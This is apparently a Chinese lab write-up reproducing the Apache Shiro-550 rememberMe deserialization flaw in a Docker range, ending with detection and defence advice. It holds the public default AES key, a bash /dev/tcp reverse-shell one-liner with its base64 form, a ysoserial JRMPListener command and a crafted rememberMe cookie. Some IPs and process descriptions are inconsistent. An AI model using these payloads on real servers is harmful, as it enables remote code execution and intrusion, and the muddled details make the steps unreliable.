1.Shiro介绍
Shiro是一个由Apache提供的功能强大且易于使用的Java框架,它主要用于实现身份验证、授权、加密和会话管理等安全功能
2.Remember Me功能
Shiro中实现身份验证主要是靠Remember Me(记住我)功能,它允许用户在关闭浏览器后再次访问时无需重新登陆。用户登陆成功后生成一个加密的、包含用户身份信息的序列化对象,加密过程是 *身份信息 -- 序列化 -- AES加密 -- base64编码 ,然后储存在remember Me的cookie中。当用户再次登录时,浏览器会携带这个remember Me发送给服务器。服务器解析从而获得用户身份信息,实现免登录访问,过程就是base64编码 -- AES加密 -- 序列化 -- 身份信息* 。
3.漏洞分析
Shiro550漏洞的关键在于AES密钥是硬编码。由于密钥是公开的,攻击者可以轻松的构造恶意的序列化对象,并使用相同的密钥进行加密,然后将加密的恶意对象注入到RememberMe Cookie中
当受害用户再次访问网站时,服务器会尝试解密并反序列化RememberMe Cookie中的内容。如果cookie中包含的是恶意序列化对象,那么反序列化过程中就会执行恶意代码,导致安全漏洞
4.漏洞验证
进行漏洞复现前,应该先验证漏洞是否存在。
未登录时:请求包的cookie中不应该有”rememberMe”字段,同时返回包的”set-Cookie”中也不应该有”rememberMe=deleteMe”字段
登录失败时:无论是否勾选”rememberMe”,返回的set-Cookie中通常会有”rememberMe=deleteMe”字段,但是这并不能直接说明存在漏洞
不勾选”rememberMe”登陆成功时:返回包的set-Cookie中会有”rememberMe”字段,但之后的所有请求中cookie都不会有”rememberMe”字段
勾选”rememberMe”登录成功时:返回包的set-cookie中不仅有”rememberMe=deleteMe”字段,还会有”remember”字段(包含加密和编码后的信息),之后所有的请求中cookie都会包含”rememberMe”字段
5.实验准备
攻击机kali ip: 192.168.3.183
靶机ubuntu ip: 192.168.3.163
需要用的工具地址:fffffw1/shiro_exploit at master (github.com)https://github.com/fffffw1/shiro_exploit/tree/master
这里我直接下载在靶机里。
为什么我在本机下载只能复制.py到靶机里,不能复制.jar到靶机里,有没有大佬帮我解答一下
我下载的shiro_attack这个自动化的软件是坏的 。。。
6.实验步骤
1.打开靶场
docker-compose up -d
输入你的ip+8080端口,即192.168.3.163:8080
2.用bp抓包查看
3.攻击机开启端口监听
nc -lvvp 6666
4.扫描AES加密的密钥
python3 shiro_exploit.py -u http://192.168.3.163:8080
会报错 No module named 'Crypto',我们执行
pip install pycryptodome --break-system-packages
AES密钥kPH+bIxk5D2deZiIxcaaaA==
你会发现你没扫描到AES密钥,哈哈哈
这个原因是你的java版本不正确,需要安装jdk8
sudo apt-get install openjdk-8-jdk
切换jdk版本
sudo update-alternatives --config java
5.构建反弹shell
bash -i >& /dev/tcp/192.168.3.183/6666 0>&1
我们对反弹shell的命令进行base64编码
Runtime.exec Payload Generater | AresX's Blog
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTgzLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
接下来我们利用序列化工具ysoserial.jar生成payload作用于靶机
这条命令配置了一个 JRMPListener 服务器,它监听在 TCP 端口 7777 上,准备接收通过 Java 远程方法协议(JRMP)发送的反序列化数据,并利用 CommonsCollections5 漏洞执行反弹shell命令
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTYzLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
6.生成一个针对 Apache Shiro rememberMe 功能的、经过 AES 加密并 Base64 编码的攻击载荷令牌
现在可以把我们第4步扫描到的AES密钥 kPH+bIxk5D2deZiIxcaaaA== 填在shiro.py文件中
生成一个针对 rememberMe 功能的 AES 加密并 Base64 编码的字符串
python2 shiro.py 192.168.3.163:7777
注意shiro.py的位置应当保证和ysoserial.jar在同一目录下,否则会报错找不到ysoserial.jar
rememberMe=6PugXuV8QeuuEwwPmezTO/bACLLHwDcedMJPBUFPEb4sIRGUYaxux4vqUATXl2vqjB+R0TVs/2Mvq1y5U23fCAoB8eXakTn56wfvSoX88OcRwjUAVi+yYnvcnZdsAqExBntdR0UevbLngr0MQp2eN74scQFkTodhlokJVIm8nziQzYx0mpgS8nLNjSVXKxtiaBULa3+mdTn183uQxLxMIzwEo7oRCmOTmNHuZj1INE/1Y0arW04tfitT2xbJtAE55D6y5pM9Ooi41upZqY398C22xgbm1Oubc1ld7wcJyikzQtO7srfwvxlYNYyjoOrR/9gFuPj3+76RhxrNHW3eI7o0QWDuuabobFoMUZEWdEh7wGgY7O84gUGEHHdmA3Sk/aNboTHjyn9odkUu4G+NIg==
7.获取反弹shell
点击提交出现如下图所示
两个监听的终端都有反应即为正常,没反应可能是构建反弹shell的ip错误
8.维持权限,创建后门等
7.流量特征
http请求头中有rememberme的字样和base64编码,把cookie值复制出来,解码再解密,就会发现恶意函数
8.防御
修改加密密钥,不随意使用公共密钥
升级版本,密钥硬编码问题存在于1.2.4以下的版本,升级到高版本,密钥就是随机生成的
禁用rememberme功能
版权归原作者 人们并不感谢罗辑 所有, 如有侵权,请联系我们删除。